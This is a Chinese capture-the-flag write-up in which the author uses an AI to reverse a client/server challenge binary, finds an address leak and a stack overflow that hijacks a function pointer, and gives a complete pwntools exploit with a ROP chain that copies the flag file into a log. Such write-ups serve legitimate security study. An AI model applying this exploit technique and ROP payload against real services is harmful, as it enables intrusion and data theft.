前言
本文进行一次利用 AI 从没看到独立复现 2 解题目的尝试,这里分享一下思路。题目本身的主要难度在逆向层面,需要分析每一个指令的参数和功能,并能找到指令中的漏洞
功能分析
基本信息
拿到题目之后看一下基本信息,docker 里在后台运行了 bin/server 程序,然后 xinetd 监听 8888 端口,启动 bin/client 程序。我们需要使用 nc 和 client 交互,client 再和 server 交互。
1 2 3 4 5 6 7 8
| . ├── bin │ ├── client │ └── server ├── ctf.xinetd ├── docker-compose.yml ├── dockerfile └── start.sh
|
先 nc 上去看一下,这里是提前看了下字符串随便试了试,看起来像是从 client 向 server 发送 cmd 指令

经过几轮对话,让 AI 分析 client/server 的逻辑,基本功能就比较清晰了
- server:接收到数据包后通过使用 handle_client_protocol 函数解析,具体 CMD 使用 dispatch_command_handler 处理,根据 CMD ID 进入不同的逻辑
- client:封装用户指令成数据包后和 server 交互
CMD ID 表格
接下来我们去分析根据 client 程序中分析每一个 CMD 对应的 ID,不过 AI 一开始并没有给出每一个命令对应的 ID,我们需要人工干预一下。

继续让 AI 整理一下这两张表就有
| 命令名称 |
命令 ID |
功能描述 |
参数说明 |
数据包格式 |
| help |
- |
显示帮助信息 |
无参数 |
无 |
| hello |
1 |
发送 hello 消息 |
[client_name](可选,默认为”client”) |
[client_name] |
| register |
16 |
注册操作(字符串方式) |
|
[4B 长度][数据] |
| register_hex |
16 |
注册操作(十六进制方式) |
|
[4B 长度][数据] |
| list |
22 |
列出所有项目 |
无参数 |
无 |
| partial_delete |
19 |
部分删除操作 |
|
[4B id1][4B id2] |
| show |
20 |
显示指定项目 |
|
[4B id] |
| update |
17 |
更新操作 |
|
[4B id1][4B id2][4B 长度][数据] |
| exec |
18 |
执行命令 |
|
[4B id][2B param][4B 长度][数据] |
| exechex |
18 |
执行命令(十六进制参数) |
|
[4B id][2B param][4B 长度][数据] |
| execf |
18 |
执行命令(带指针参数) |
[ptr_hex] |
[4B id][2B param][4B 长度][数据] |
| oracle_unlock |
- |
Oracle 解锁功能 |
无参数 |
无 |
| oracle_guess |
18 |
Oracle 猜测字节 |
<0x00..0xff> |
[4B pid][2B 0x3733][4B 长度][payload] |
| oracle_leak |
18 |
Oracle 泄露字节 |
[size](默认 size=8) |
[4B id][4B长度][数据] |
| bye |
255 |
退出程序 |
无参数 |
无 |
CMD 功能分析
CMD 的 ID 和参数格式都有了,接下来分析每个指令的详细功能
指令功能
CMD 1: hello
功能 : 初始化会话并生成会话密钥
- 从客户端数据中提取客户端名称
- 生成一个随机的会话密钥(generate_session_key)
- 将会话密钥存储在 SessionManager 中
- 设置响应状态码为 2
- 返回 8 字节的会话密钥(大端序)和 “WELCOME” 字符串
- 输出会话密钥到 stdout(十六进制格式)
关键代码路径 :
1 2 3 4 5 6
| session_key = generate_session_key(qword_FA40); *a8 = session_key; *a9 = session_key; srv->session_mgr->session_key = session_key; *a10 = 2;
|
CMD 16: register
功能 : 注册一个新的 Profile
- 读取客户端发送的字符串数据(长度 ≥ 4 字节)
- 验证数据长度是否充足
- 计算数据的 CRC 32 校验值
- 与固定值 0 x 13579 BDF 异或后比较校验和
- 如果校验通过,设置会话管理器的标志位
- 调用 create_profile 创建新的 Profile
- 返回 “OK” + 4 字节的 Profile ID
关键验证逻辑 :
1 2 3 4 5
| crc32_value = calculate_crc32(data, length); if ((session_mgr->session_key ^ 0x13579BDF) == crc32_value) { session_mgr->session_key |= 0x0100; profile_id = create_profile(session_mgr, data); }
|
返回 : “OK” + [4 字节 Profile ID]
CMD 19: partial_delete
功能 : 删除指定 Profile 中的指定 Blob
- 检查是否已经使用过此命令(只能使用一次)
- 读取两个 4 字节参数: id 1(Profile ID) 和 id 2(Blob ID)
- 查找对应的 Profile
- 在 Profile 的 Blob 列表中查找指定的 Blob
- 将 Blob 的第二个 vector 清空(通过设置 end = start)
- 设置一个标志表示已删除
- 随机分配 0-2 个虚假的内存块(大小 8-71 字节)后立即释放
- 返回 “Delete done”
关键限制 :
- LOBYTE(session_mgr->session_key) == 0 必须为真(只能调用一次)
- 调用后设置 LOBYTE(session_mgr->session_key) = 1
可能的漏洞点 : Blob 的 end 指针被设置为 start,但内存未释放,可能导致 Use-After-Free
CMD 20: show
功能 : 显示指定 Profile 的所有 Blob 数据
- 读取 4 字节的 Profile ID
- 查找对应的 Profile
- 检查 Profile 是否被标记为已删除(*(v 117 + 64) != 0)
- 将所有 Blob 的数据拼接后返回
- 返回: “OK” + [4 字节总长度] + [所有 Blob 数据]
数据格式 :
1
| "OK" + [4B length] + [blob1_data][blob2_data]...
|
CMD 17: update
功能 : 更新或创建 Blob
- 读取参数: id 1(Profile ID), id 2(Blob ID), data
- 查找对应的 Profile 和 Blob
- 如果 Blob 存在,更新其数据
- 如果 Blob 不存在且数量 < 64,创建新 Blob
- 分配 0-2 个随机大小的内存块(8-71 字节)后立即释放
- 返回 “OK” + 原始的 id 1 和 id 2
Blob 数量限制 : 最多 64 个((v 152 - v 151) <= 0 x 3 F)
CMD 18: exec/exechex/execf
功能 : 执行操作或验证魔术字节
- 读取参数: id(4 B), param(2 B), data
- 验证数据长度
- 如果 param == 0 x 1337 且会话已解锁:
- 调用 verify_magic_bytes (Oracle 相关)
- 否则调用 execute_operation
- 返回 “OK: “ 或 “ERR: “ + 结果信息
特殊参数 0 x 1337: Oracle 解锁功能的入口
Oracle 相关 :
1 2 3
| if (BYTE1(session_mgr->session_key) && param == 0x1337) { verify_magic_bytes(srv, id, &data, &result, session_key); }
|
CMD 22: list
功能 : 列出所有 Profile ID
- 遍历 SessionManager 中的 Profile 红黑树
- 收集所有 Profile 的 ID
- 返回: [4 字节数量] + [ID 1][ID 2]…[IDn]
返回格式 :
1
| [4B count] + [4B id1] + [4B id2] + ... + [4B idn]
|
CMD 255 (a 2 == -1): bye
功能 : 断开连接
- 返回 “BYE” 字符串
- 设置状态码为 3,指示服务器关闭连接
Oracle 系列
在表格里看到了一些比较奇怪的指令,重点测试 oracle 和 exec
在执行这个 oracle 指令之前需要先 oracle_unlock 解锁功能,笔者发现 oracle_leak idx 8 可以泄露出基地址,这里的 idx 是通过 register 注册的索引
Exec 系列
测试的时候发现 exec 系列不知道怎么调用,继续让 AI 分析


这里因为不知道 param 和 op_type 是怎么传的,所以需要调试一下,在 0000000000005F6B 下断点,然后执行 exechex 1 2 aabbccddeeff

结合代码能看出来 op_type 是 data 部分的第一个字节,接着 4 字节是最后 payload 的长度


成功执行

漏洞分析
在对话的过程中顺带帮我分析出来了一个栈溢出漏洞,还给出了栈布局

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| High Address ┌─────────────────────────────────────────────────┐ │ │ │ Caller's Stack Frame │ │ │ ├─────────────────────────────────────────────────┤ <- rbp+0x10 │ Return Address (8 bytes) │ <- rbp+0x08 [TARGET!] ├─────────────────────────────────────────────────┤ │ Saved RBP (8 bytes) │ <- rbp+0x00 ├─────────────────────────────────────────────────┤ │ var_40: Stack Canary (8 bytes) │ <- rbp-0x40 ├─────────────────────────────────────────────────┤ │ var_50: v37 (int, 4 bytes) │ <- rbp-0x50 ├─────────────────────────────────────────────────┤ │ var_51: v36 (char, 1 byte) │ <- rbp-0x51 ├─────────────────────────────────────────────────┤ │ ...other local variables... │ ├─────────────────────────────────────────────────┤ │ var_148: v35 (function pointer, 8 bytes) │ <- rbp-0x148 ├─────────────────────────────────────────────────┤ │ │ │ dest[64]: Target Buffer │ <- rbp-0x188 │ ┌──────────────────────────────────┐ │ │ │ 64 bytes buffer │ │ │ │ (but we copy up to 312 bytes!) │ │ │ └──────────────────────────────────┘ │ ├─────────────────────────────────────────────────┤ │ src: __m128i (16 bytes) │ <- rbp-0x198 ├─────────────────────────────────────────────────┤ │ n: size_t (8 bytes) │ <- rbp-0x1A0 ├─────────────────────────────────────────────────┤ │ p_src: void* (8 bytes) │ <- rbp-0x1A8 ├─────────────────────────────────────────────────┤ │ ...more variables... │ └─────────────────────────────────────────────────┘ Low Address
Distance calculations: - dest to saved rbp: 0x188 = 392 bytes - dest to return addr: 0x188 + 8 = 400 bytes - Overflow space: 312 - 64 = 248 bytes - Can overwrite: 248 bytes beyond dest[64]
|
不过他认为可以修改返回地址,但这实际上是修改不到的,因为我们只能写入 0x140


指出这一点之后,AI 分析出来 v35 指针可以利用,也就是

测试之后发现成功控制了 call rax
1 2 3
| payload = cyclic(0x140) data = p8(0x41) + p32(len(payload)) + payload run(f"exechex {idx} 2 {binascii.hexlify(data).decode()}")
|

漏洞利用
在所有的指令功能都分析完之后,其实已经比较清晰了,先用 oracle 泄露地址,然后在利用 exec 的栈溢出漏洞。
AI 也给了攻击流程,和最终实现的 exp 已经没有太大差别了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| ┌─────────────────────────────────────────────────────┐ │ 攻击流程 │ └─────────────────────────────────────────────────────┘
1. CMD_HELLO (0x01) ↓ 获取 session_key ↓ 2. CMD_REGISTER_PROFILE (0x10) ↓ 认证成功 (oracle_unlock) ↓ 3. oracle_guess (CMD_EXEC_OP param=0x1337) ↓ 暴力破解 magic_table[0..7] ↓ 4. oracle_leak (CMD_EXEC_OP) ↓ 泄露栈地址、堆地址、canary ↓ 5. CMD_EXEC_OP (param=0x42, op_code=0x41) ↓ 触发栈溢出 ↓ 6. ROP Chain执行 ↓ 获取Shell
|
题目开了沙箱,禁用了 exec,由于我们无法直接和 server 交互,所以不能用常规的 orw 来读 flag

结合 client 程序在启动的时候会读取并输出 client.log 的文件内容,可以把 flag 内容写入到 client.log 文件,rop 执行之后,再启动一个终端 nc 就能拿到 flag

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
|
from pwnkit import * from pwnkit.osys.linux.ropbox import GadgetBox import binascii
args = init_pwn_args() binary = ELF("./bin/server") args.info.binary = context.binary = binary args.info.target = {"host": args.host or "example.pwnme", "port": args.port or 9999}
if not args.remote: _host, _port = gift.dbgsrv.init() host, port = "127.0.0.1", 8888 pk.core.config.config_context_terminal()
p = pwntube(args) if args.remote else remote(host, port)
def run(cmd): p.sendlineafter(b"> ", cmd)
run(b"hello") run(b"oracle_unlock") run(b"register aaa") run(b"list")
p.recvuntil(b"count=") num = int(p.recvline()) for i in range(num): idx = p.recvline().strip()[2:] idx = int(idx) log.info("latest idx: %d", idx)
run(f"oracle_leak {idx} 8".encode()) p.recvuntil(b"addr=") text_leak = p.recvline().strip() text_leak = int(text_leak, 16) text_base = text_leak - 0x2e60 plog.address(text_leak=text_leak, text_base=text_base)
gb = GadgetBox(binary) pop_rdi_ret = text_base + next(gb.search_gadget(["pop rdi", "ret"])) pop_rsi_r15_ret = text_base + next(gb.search_gadget(["pop rsi", "pop r15", "ret"])) add_edx_edi_ret = text_base + 0x2a94 add_rsp_0xc0_ret = text_base + 0x2a84 open_addr = text_base + binary.plt["open"] read_addr = text_base + binary.plt["read"] write_addr = text_base + binary.plt["write"]
""" open/read/write rop """ path_flag = text_base + 0xc000 + 0x10 path_log = path_flag + 15 buf = text_base + 0xc000 + 0x100 size = 0x100
payload = b"/home/ctf/flag\x00" payload += b"/home/ctf/client.log\x00" payload = payload.ljust(64, b"\x00") payload += p64(add_rsp_0xc0_ret)
payload += p64(pop_rdi_ret) + p64(path_flag) payload += p64(pop_rsi_r15_ret) + p64(0) + p64(0) payload += p64(open_addr)
payload += p64(pop_rdi_ret) + p64(path_log) payload += p64(pop_rsi_r15_ret) + p64(1) + p64(0) payload += p64(open_addr)
payload += p64(pop_rdi_ret) + p64(0x100) + p64(add_edx_edi_ret) payload += p64(pop_rdi_ret) + p64(5) payload += p64(pop_rsi_r15_ret) + p64(buf) + p64(0) payload += p64(read_addr)
payload += p64(pop_rdi_ret) + p64(6) payload += p64(pop_rsi_r15_ret) + p64(buf) + p64(0) payload += p64(write_addr) data = p8(0x41) + p32(len(payload)) + payload run(f"exechex {idx} 2 {binascii.hexlify(data).decode()}")
p.interactive() p.close()
|

总结
整个复现过程,基本上只有 rop 是自己写的,绝大部分的分析过程都是 AI 做的,人工主要是测功能和指导 AI 的分析方向。目前 AI 针对一些比较小的程序,分析效果还是不错的。